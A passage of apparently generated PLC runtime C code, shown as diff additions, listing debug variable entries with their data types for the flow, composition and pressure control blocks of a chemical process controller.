+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), 